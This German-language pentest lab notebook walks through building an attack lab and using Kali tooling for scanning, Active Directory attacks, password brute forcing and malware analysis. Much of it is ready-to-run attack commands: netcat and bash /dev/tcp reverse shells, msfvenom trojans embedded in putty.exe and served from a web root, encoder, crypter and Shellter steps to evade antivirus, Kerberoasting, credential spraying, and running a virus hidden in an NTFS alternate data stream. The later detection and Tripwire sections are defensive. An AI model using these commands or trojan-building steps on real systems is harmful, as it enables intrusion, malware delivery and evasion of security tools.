Es werden folgende Instanzen auf dem ESXi benötigt:

• Kali → Dies wird das Arbeits-System
• Metasploitable 2 → Ein unsicheres System zum Scannen (nicht im Internet sichtbar!)
• Win7 → System um Windows-Hacks zu testen (idealerweise ohne Updates)
• Win10 → um die Unterschiede zu Win7 zu zeigen
• Windows AD-Server für die AD- und LDAP-Hacks
• Tails als Live-CD → Livesystem um unerkannt im Internet Daten zu sammeln
• Aktueller Ubuntu Server → DAU-Server um Dienste scannen zu können

Um sowohl 32-Bit- als auch 64-Bit-Systeme angreifen zu können, muss auf Kali die 32-Bit-Wine-Umgebung nachinstalliert werden:

dpkg --add-architecture i386 && apt update && apt install wine32

Anmerkung: Ich verwende statt Kali lieber Parrot OS.

• Installation:

  apt install tightvncserver

• Konfiguration:

  nano ~/.vnc/xstartup

#!/bin/sh
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
x-terminal-emulator -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
x-window-manager &
mate-session &

• Ausführbar machen:

  sudo chmod +x ~/.vnc/xstartup

• Erster Start:

  vncserver

• Auf dem Client:

  vncviewer 192.168.178.21:1

| Installieren

apt-get install torbrowser-launcher

| Ausführen

torbrowser-launcher

^{Siehe: https://computingforgeeks.com/installing-tor-browser-on-linux-mint-ubuntu/}

Webseiten aus dem Darknet enden oft mit *.onion. Diese Seiten findet man als Liste unter (Stand prüfen – .onion-Adressen ändern sich häufig und werden gelegentlich von Betrügern übernommen, daher Links vor Nutzung verifizieren):

• The Hidden Wiki
• Uncensored Hidden Wiki
• TorLinks → Wiki Leaks

Tails: https://tails.boum.org/install/index.de.html

Unter Vulnerability Management versteht man eine Methode der immer wiederkehrenden Sicherheitsanalyse. Nachdem die Vorbereitungen einmal getroffen wurden und der Vulnerability-Assessment-Lifecycle eingerichtet ist, kann ein Pentest mit Auswertung und Fehlerbehebung stark automatisiert werden. Dazu sind nötig:

• Rollen und Verantwortungen der Mitarbeiter festlegen
• Was soll geprüft werden (Systeme, Dienste, Netzwerk)
• Welche Tools sollen verwendet werden
• Erstellen von SLAs und Policies

Nachdem also festgelegt wurde, wer was und womit getestet werden soll, kann dies dokumentiert werden. So ist auch rechtlich der Pentest abgesichert (siehe Hinweis am Seitenanfang).

In diesem Schritt werden die Scans durchgeführt, bewertet und ein Report erstellt.

Die im Report dokumentierten Schwachstellen werden bewertet:

• Höhe des Risikos
• Aufwand und Kosten der Behebung
• Mögliche Folgen der Behebung

Je nach Priorität werden die gefundenen Schwachstellen behandelt:

• Hohes Risiko → Fehler schnell beheben
• Geringes Risiko → Können wir mit der Bedrohung leben?
• Hoher Aufwand → Können wir die Mittel zur Fehlerbehebung beschaffen?
• Geringer Aufwand → Direkt umsetzen

Ein minimaler Pentest-Report sollte mindestens enthalten:

• Executive Summary (1 Seite, für Management, ohne Technikjargon)
• Scope & Methodik (getestete Systeme, Zeitraum, verwendete Tools, Ausschlüsse)
• Findings-Tabelle: ID, Titel, betroffenes System, CVSS-Score, Risiko (kritisch/hoch/mittel/niedrig), Beschreibung, Proof of Concept, Empfehlung
• Priorisierte Maßnahmenliste nach Aufwand/Risiko-Matrix
• Anhang mit Rohdaten (Scan-Ausgaben, Screenshots)

Bewährte Kategorisierung nach CVSS: 9.0–10.0 kritisch, 7.0–8.9 hoch, 4.0–6.9 mittel, 0.1–3.9 niedrig.

Methoden:
Host-Discovery → Portscan → Dienst- und OS-Erkennung → Vulnerability-Scan

• Umgehen von Firewalls
• Banner Grabbing
• Einsatz von Proxies und Anonymisierern

Nmap-Scripte
Pfad: /usr/share/nmap/scripts

Das Metasploit Framework

systemctl start postgresql     # Datenbank starten
systemctl enable postgresql    # Autostart der DB
msfdb init                     # Initiierung
msfconsole                     # msf-Konsole starten
db_status                      # DB abfragen
workspace -a Lab                # Workspace anlegen
workspace                      # Workspaces listen
workspace -h                   # Zeigt die Hilfe für workspace

db_export -f xml /root/msfdb_backup     # erstellt ein DB-Backup

msfconsole                     # startet msf
workspace Lab                  # In Workspace wechseln
show                           # Listet alle Module
show auxiliary                 # Zeigt Module einer Kategorie
search scanner                 # Sucht alle Scanning-Module

Ein Modul verwenden (hier: ssh_version):

use auxiliary/scanner/ssh/ssh_version   # Modul zur Verwendung laden (info/options)
set rhosts <Ziel-IP>                     # Ziel setzen
run                                      # Start
hosts                                    # Zeigt gefundene Hosts in der DB
services                                 # Zeigt gefundene Dienste in der DB

nmap aus msf heraus verwenden:

db_nmap -T4 -A -v 192.168.178.0/24         # Verwendet einen nmap-Scan und speichert das Ergebnis in der msf-DB
db_nmap -sU -p161 192.168.178.0/24 --open  # SNMP-Agent-Scan

Sploits suchen:

searchsploit Local Priv | wc -l            # Zeigt Menge der gefundenen Treffer zu "Local Priv" Sploits
searchsploit Local Priv | grep -i ubuntu   # Schränkt die Suche auf Treffer mit "ubuntu" ein

nbtscan -r 192.168.178.0/24
enum4linux -v <Ziel-IP>
nmap -p 139,445 --script "smb-enum*" <Ziel-IP>

nmap-Scripte für einen SNMP-Scan:

ls /usr/share/nmap/scripts/ | grep snmp

nmap -sU -p 161 --script "snmp*" <Ziel-IP>

msf:

use auxiliary/scanner/snmp/snmp_enum
options
set rhosts <Ziel-IP>

onesixtyone:

vim community.list        # Datei mit SNMP-Community-Strings erstellen
for ip in $(seq 1 254); do echo 192.168.178.$ip; done > ip_address-list    # IP-Liste erzeugen
onesixtyone -c community.list -i ip_address-list -d

Zusatzmaterial: Konfiguration eines AD-Controllers

nmap -O -sV -p 389,636 --open <Ziel-IP>

jxplorer:

apt install jxplorer     # Installation auf Kali
jxplorer                 # Startet das Tool

Zusätzlich zur reinen LDAP-Abfrage lohnt sich der Einsatz spezialisierter AD-Tools, sobald ein Domain-Controller im Lab steht:

• BloodHound – visualisiert AD-Vertrauensbeziehungen und Angriffspfade (z. B. zum Domain Admin)

apt install bloodhound
neo4j console                 # Graphdatenbank starten, danach im Browser unter 127.0.0.1:7474 einloggen
bloodhound                    # Startet die GUI

Sammler-Tool auf dem Zielsystem bzw. remote per Python: SharpHound (Windows) oder BloodHound.py (Linux, benötigt gültige Domain-Credentials).

• CrackMapExec (bzw. NetExec als Nachfolger) – SMB/AD-Enumeration, Credential-Spraying, Ausführung von Kommandos über gültige Anmeldedaten

crackmapexec smb 192.168.178.0/24 -u user -p password
crackmapexec smb <Ziel-IP> -u user -p password --shares

• Kerberoasting – Service-Ticket-Anfrage für Accounts mit SPN, Hash offline crackbar

impacket-GetUserSPNs domain.local/user:password -dc-ip <DC-IP> -request
hashcat -m 13100 hashes.txt rockyou.txt

• AS-REP Roasting – betrifft Accounts ohne Kerberos-Pre-Authentication

impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC-IP>

Fazit: AD-Angriffe zielen selten auf einzelne Exploits, sondern auf die Verkettung kleiner Rechte-/Trust-Schwachstellen (Daisy Chaining, siehe Grundlagen-Tabelle) bis zum Domain Admin.

E-Mail-Enumeration:

• Via Telnet Port 25 zum Mailserver verbinden
• RCPT TO = Recipient To
• VRFY = Verify
• EXPN = Expand

smtp-user-enum:

# Datei mailuser.txt erstellen -> pro Zeile eine Mailadresse
smtp-user-enum -M VRFY -U mailuser.txt -t <Ziel-IP>

Unter msf:

db_nmap -sU -sS -p 53 <Ziel-Netz> --open

Zonentransfer:

dnsrecon -n <Ziel-IP> -d <domainname>                                  # Liest Zonentransfer-Daten aus
dnsrecon -n <Ziel-IP> -r 192.168.178.1-192.168.178.254 -d fritz.box    # Liste aller bekannten Domain-Hosts

msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set rhost <Ziel-IP>
run

✔ Schneller, umfassender Test
✔ Ausgabe meist gut aufbereitet
✔ Kann ohne tiefes Fachwissen ausgeführt werden
✘ Ein sehr „lauter“ Scan, der schnell auffällt
✘ Durch die Voreinstellung in der Regel wenig konfigurierbar
✘ Netz und Dienste werden zum Teil hoch belastet → Gefahr von Ausfall
✘ Gefahr von Falschaussagen, die aufgrund der Automatisierung vorkommen können

nmap --script vuln <Ziel-IP>

Installation auf Ubuntu (https://www.xinux.net/index.php/GVM_Installation)
Installation auf Kali: https://www.linuxmaker.com/linux/kali-linux-openvas.html und https://www.agix.com.au/installing-openvas-on-kali-in-2020/
Installation auf Ubuntu Server: https://www.libellux.com/openvas/#configuration-files und https://pentestit.de/gvm-20-08-auf-ubuntu-server-20-04-installieren/

^{Anmerkung: GVM ist der Nachfolger von OpenVAS}

apt install gvm
gvm-setup
gvm-check-setup
  # WARNING: Your password policy is empty.
  # SUGGEST: Edit the /etc/gvm/pwpolicy.conf file to set a password policy.

Passwort ändern:

gvmd --user=admin --new-password=<NeuesPasswort>

Post-Install:

vim /etc/default/greenbone-security-assistant
  # GSA_PORT=9392

Start / Stop:

gvm-start
gvm-stop

Der Dienst ist unter https://127.0.0.1:9392 erreichbar. Login mit erstelltem User.
Firefox remote verwenden:

ssh -C -Y username@servername    # Login mit PW
firefox 127.0.0.1:9392

Firewall aktivieren:

apt-get install ufw
ufw enable
ufw allow 80
ufw allow 9392
ufw allow 22

Ein eigenständiges großes Themenfeld, das im Lab am besten gegen absichtlich verwundbare Web-Apps geübt wird (z. B. DVWA, OWASP Juice Shop, bWAPP).

Proxy zwischen Browser und Webanwendung, um Requests abzufangen, zu manipulieren und erneut zu senden.

burpsuite &

Browser-Proxy auf 127.0.0.1:8080 stellen, Burp-CA-Zertifikat importieren, danach im Reiter „Proxy → Intercept“ den Traffic mitschneiden. „Repeater“ zum gezielten Wiederholen einzelner Requests, „Intruder“ für automatisiertes Fuzzing von Parametern.

gobuster dir -u http://<Ziel-IP> -w /usr/share/wordlists/dirb/common.txt

Fazit: Web-App-Pentesting erfordert im Gegensatz zu klassischem Netzwerk-Pentesting meist manuelle Analyse der Anwendungslogik – automatisierte Scanner (z. B. `nikto`, ZAP) liefern nur einen ersten Anhaltspunkt.

use auxiliary/scanner/postgres/postgres_login
set RHOSTS <Ziel-IP>
run

postgres_login anpassen, wenn Passwörter bekannt sind:

show options
# PASS_FILE  -> Dateipfad merken und Datei mit bekannten Passwörtern ergänzen
#               Im Ordner der Datei liegen mehrere weitere Default-Passwort-Listen
# USER_FILE  -> Dateipfad merken und Datei mit bekannten Usern ergänzen

How it works:

medusa -M smtp -q

Vorbereitung:

• Liste mit bekannten Mailadressen (txt, pro Zeile eine Mailadresse) → user.list
• Liste mit wahrscheinlichen Passwörtern (txt, pro Zeile ein Passwort) → pass.list

Starten:

medusa -h <smtp-Mailserver-FQDN> -U user.list -P pass.list -s -M smtp

hydra -l Nutzer -P Passwortliste.txt ftp://192.168.0.1
xhydra    # startet die GUI

Siehe: https://www.gonicus.de/aktuelles/20181219-netcat/

ncat -lp 4444        # Startet netcat als Server auf Port 4444

Unter Kali die Datei /usr/share/windows-binaries/nc.exe auf einen Windows-PC kopieren und in der cmd ausführen:

c:\nc>nc <SERVER-IP> 4444

Datei mit nc übertragen

c:\nc>nc -nlvp 4444 > wget.exe          # startet nc als Server auf Port 4444, schreibt stdout in die Datei wget.exe
nc <Server-IP> 4444 < /usr/share/windows-binaries/wget.exe   # nc auf Kali starten und die Datei wget.exe übertragen

ncat -nlvp 4444 -e /bin/bash      # startet nc und pipet /bin/bash darüber
c:\nc>nc <Server-IP> 4444          # startet nc auf Windows und stellt so die Shell des Servers zur Verfügung
 
c:\nc>nc -nlvp 4444 -e cmd.exe     # startet nc auf Windows und pipet cmd.exe
ncat <Server-IP> 4444              # startet nc auf Linux und stellt die cmd des Servers zur Verfügung

ncat -nlvp 443                     # startet einen Listener auf dem Server
ncat -nv <Server-IP> 443 -e /bin/bash   # startet auf dem Client nc und tunnelt eine bash durch Port 443 zum Server
 
bash -i >& /dev/tcp/<Server-IP>/443 0>&1   # startet eine Shell und tunnelt sie zur Server-IP Port 443

# msf starten und in den passenden Workspace wechseln
# In den vulns nach distcc suchen (Befehl: vulns)
# Nach passendem Exploit suchen (search distcc)
use exploit/unix/misc/distcc_exec
set RHOST <Client-IP>
set PAYLOAD cmd/unix/reverse_bash
exploit

Erstellen des Trojaners, um auf einem Windows-Zielsystem eine Meterpreter-Shell zu starten, die sich zu unserem Server verbindet:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -o mp_shell.exe
# LHOST = IP des Kali-Angreifers
# LPORT = Port der Kommunikation (muss an der FW offen sein)
# -f    = Art der Ergebnisdatei
# -o    = Name der Ergebnisdatei

Trojaner z. B. auf einem Webserver zur Verfügung stellen. Auf Kali eine msfconsole mit Multihandler starten:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_https    # nutzt das HTTPS-Payload
set lhost <eigene-IP>
set lport 443
exploit

Jetzt kann die Datei auf dem Windows-Ziel gestartet werden. In der Meterpreter-Shell wird eine neue Shell (von Windows) angezeigt.
Anmerkung: Einfacher geht es mit SET: Bypass Windows Defender and Fake Image for Reverse Shell

msfvenom --payload linux/x86/shell/reverse_tcp LHOST=127.0.0.1 LPORT=45678 --format py --bad-chars '\x00\x09\x20\x0a\xff' -o mp_shell.py

Externe Module nachladen: `load` (2x Tab)
Weitere Infos: https://null-byte.wonderhowto.com/how-to/simplify-payload-creation-with-msfpc-msfvenom-payload-creator-0180240/

Mit SET: How to create obfuscated Virus inside Microsoft Word Document

1. Carrier-Applikation bereitstellen. Dies ist eine Applikation, in die der Trojaner eingebaut werden soll.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.178.124 LPORT=8080 -x /home/andre/putty.exe -k -f exe -o /var/www/html/putty2.exe

• -p definiert den Payload → eine TCP-Reverse-Shell auf Windows
• LHOST ist die vom Ziel erreichbare IP des Kali
• LPORT ist der zur Kommunikation eingesetzte Port
• -x welcher Carrier (32-Bit) bereitgestellt wird
• -k der Carrier soll auch ausgeführt werden (ohne -k wird nur der Trojaner aktiviert)
• -f die Output-Datei soll eine exe sein
• -o Ziel der Output-Datei (idealerweise gleich der Webserver, zur einfachen Verbreitung)

2. Meterpreter-Session auf Kali starten:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.178.124
set LPORT 8080
run

3. Trojaner auf Zielsystem bereitstellen und ausführen.
Wird putty auf Windows ausgeführt, startet zusätzlich eine reverse Shell. Diese beendet sich aber, wenn putty geschlossen wird. Daher muss die Shell an ein anderes Programm gehängt werden.

4. Von putty auf „explorer“ umhängen:

ps -S explorer      # Die PID von explorer finden -> hier z.B. 336
migrate 336

Jetzt steht eine Shell zum Zielsystem zur Verfügung.

Methoden der Tarnung:

• Encoder verändern den Binärcode
• Packer komprimieren, dekomprimieren sich bei Ausführung selbstständig
• Crypter verschlüsseln
• Embedder und Wrapper betten den Schadcode in ein harmloses Programm ein
• Customized Code ist selbst geschriebener Code, dessen Signatur noch nicht bekannt ist

msfvenom -l encoders

Verwenden wir als Beispiel „Shikata Ga Nai“:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -f exe -e x86/shikata_ga_nai -i 130 -o /var/www/html/putty_shi.exe

• Bekannter Befehl, um in putty einen Trojaner zu betten
• -e Auswahl des Encoders
• -i Anzahl der Iterationen

Mehrere Encoder nacheinander verwenden:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.178.124 LPORT=443 -e x86/countdown -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 130 -o double-ent.exe

• Verwendet zuerst den Encoder countdown mit 10 Iterationen und danach shikata_ga_nai mit 130 Iterationen
• Datei wird als double-ent.exe lokal gespeichert

Fazit: Encoder sind nicht sehr hilfreich, um an Virenscannern vorbeizukommen. Selbst der Einsatz mehrerer Encoder bringt kaum etwas.

Die 32-Bit-Umgebung von Wine muss installiert sein (siehe Vorbereitungen).

cd /usr/share/windows-resources/hyperion
wine hyperion.exe /var/www/html/putty2.exe /var/www/html/putty-crypt.exe

Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt.

apt install shellter   # Geht nicht auf Kali, dafür auf Parrot schon installiert

• Operation-Mode: A
• PE Target: Pfad zur *.exe, die infiziert werden soll

Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann im Ordner /usr/share/windows-resources/shellter/ zur Verfügung. Unter /usr/share/windows-resources/shellter/Shellter_Backups findet man ein Backup der nicht infizierten Originaldatei.
Fazit: Weniger als die Hälfte der Virenscanner erkennt diese Datei als Virus.

• Kernel-Rootkits (LKM) laden sich als Modul in den Kernel nach und manipulieren Systemaufrufe
• Userland-Rootkits verwenden manipulierte DLLs, die über eine API eines Programms dessen Funktion ändern oder erweitern

Auf allen Clients:

apt install gcc git make
cd /opt
git clone https://github.com/DhavalKapil/icmptunnel
make

Am Server (Kali):

cd /opt/icmptunnel
./icmptunnel -s 10.0.1.1    # Immer diese IP angeben, das ist die ICMP-Router-IP
ifconfig                     # taucht ein tun0 auf, läuft der Server

Auf dem Ziel:

vim /opt/icmptunnel/client.sh
# route add -host <server> gw <gateway> dev <interface>   # Zeile auskommentieren
./icmptunnel -c <Kali-IP>

Ab jetzt wird die Kommunikation zwischen den Servern als ICMP-Pakete getarnt.

Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken.

1. Textdatei erstellen: harmlos.txt und speichern
2. cmd starten und in das Verzeichnis der eben erstellten Datei wechseln

3. notepad harmlos.txt:geheim.txt

   → Die Datei geheim.txt wird erstellt und kann bearbeitet werden

Die neue Datei geheim.txt ist nirgendwo sichtbar. Auch der Inhalt von harmlos.txt hat sich nicht geändert. Mit dem Befehl

notepad harmlos.txt:geheim.txt

kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbarem Inhalt:

type c:\ordner\virus.exe > c:\ordner\harmlos.txt:virus.exe
start harmlos.txt:virus.exe        # führt virus.exe aus
dir -r                             # zeigt Ordnerinhalt inklusive ADS (ab Win 7)

• LogKeys für Linux
• Keylogger in Python schreiben

Programm dekompilieren und Quellcode analysieren oder nach Ausdrücken im Code suchen, mit den Tools:

• strings (Windows für die CMD)
• pestudio (Windows mit GUI)

Verhalten eines Samples (Schadprogramm) in Echtzeit beobachten. Dies muss in einer Sandbox durchgeführt werden.

• JOESandbox
• AnyRun

Auf Windows-Clients muss geprüft werden:

• Virencheck
  • Offline via Rescue-Disk (z. B. Kaspersky Rescue Disk)
  • Antivirus-Tools testen mit dem EICAR-String:
    • X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
    • oder mit auf der EICAR-Homepage vorgefertigten Dateien
• Prozessaktivitäten
  • Taskmanager aufrufen und die Spalten Prozessname und Befehlszeile hinzufügen
  • Der Process Explorer kann Prozesse mit VirusTotal prüfen
  • Der Process Monitor gibt weitere Auskünfte über laufende Prozesse
• Netzwerkaktivitäten
  • `netstat -nap tcp` für die CMD
  • Als Admin eine CMD starten und `netstat -nabp tcp` → zeigt auch die zugehörigen Prozesse
  • Unter Linux: `netstat -tlpn`
  • Besser ein externes Tool wie Nirsoft CurrPorts
  • DNS und die hosts-Datei checken, dazu eignet sich DNS Query Sniffer
• Windows Registry
  • Der RegScanner ist eine bessere Alternative als regedit
  • Regshot erstellt einen Snapshot der Registry, weitere Shots können danach mit der Referenz verglichen werden
• Autostart-Einträge
  • Taskmanager
  • Bessere Alternative: Autoruns zusammen mit Process Explorer
• Windows-Dienste
  • services.msc
  • Alternative: http://foxplanet.de/ → Service Manager
• Treiber
  • msinfo32.exe
  • Bessere Alternative: DriverView
• Integrität und Signaturen
  • `sigverif` in einer CMD ausführen
• Einsatz von Sniffern
  • Malwarebytes zeigt PUP und PUA an und kann diese reparieren (gibt es auch für Android)
  • HijackThis überprüft, ob Betriebssystem-Einstellungen von Malware geändert wurden

apt install tripwire
tripwire --init
vim /etc/tripwire/twpol.txt
  # /var/run
  # /var/log
  # /root/.* (außer bashrc, bash_* und ICE*)
  # /proc
twadmin -m P /etc/tripwire/twpol.txt
tripwire --init
tripwire --check

Entsprechend der Fehlermeldungen muss die twpol.txt angepasst werden. Danach ein kleines Script schreiben, um via Cronjob das Ergebnis zu mailen.

Ein System (idealerweise eine VM), das mit üblichen Monitoring- und Sicherheits-Tools ausgestattet ist. In dieser vom Firmennetz abgetrennten Stand-Alone-Maschine können Daten und Programme getestet werden, ohne dass Produktivsysteme beeinflusst werden können.
Siehe: http://sheepdip.sourceforge.net/

• Für Windows: Sandboxie
• Für Linux: FireJail, hier ein HowTo
• Für VM: Cuckoo

Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https://www.spammimic.com/encode.shtml
Die technische Steganografie nutzt das Verstecken digitalen Inhalts in unauffälligen Medien wie z. B. Bildern oder Musikdateien.

Dazu verwendet man das letzte Bit der Farbinformation jedes Pixels. Dadurch verringert sich der Farbraum um ca. 10 %, was nicht auffällt. Dabei ergeben 3 RGB-Pixel ein 8-Bit-Zeichen. Siehe:

• OpenStego für Windows und Linux
• Steghide
• Stegosuite

stegosuite -e -f <Geheime.Datei> -k <passwort> <Bild.jpg>   # Der Payload darf je nach Bildgröße nicht zu groß gewählt werden
stegosuite -x <Bild.jpg> -k <passwort>                        # Extrahiert die Datei

Hier gibt es weitere Infos: https://www.blackmoreops.com/2017/01/11/steganography-in-kali-linux-hiding-data-in-image/

• StegoStick

Logo generieren: https://www.flamingtext.com/net-fu/dynamic.cgi?script=baby-logo&text=Meine+erstes+Darknet&fontname=Arcade&backgroundRadio=0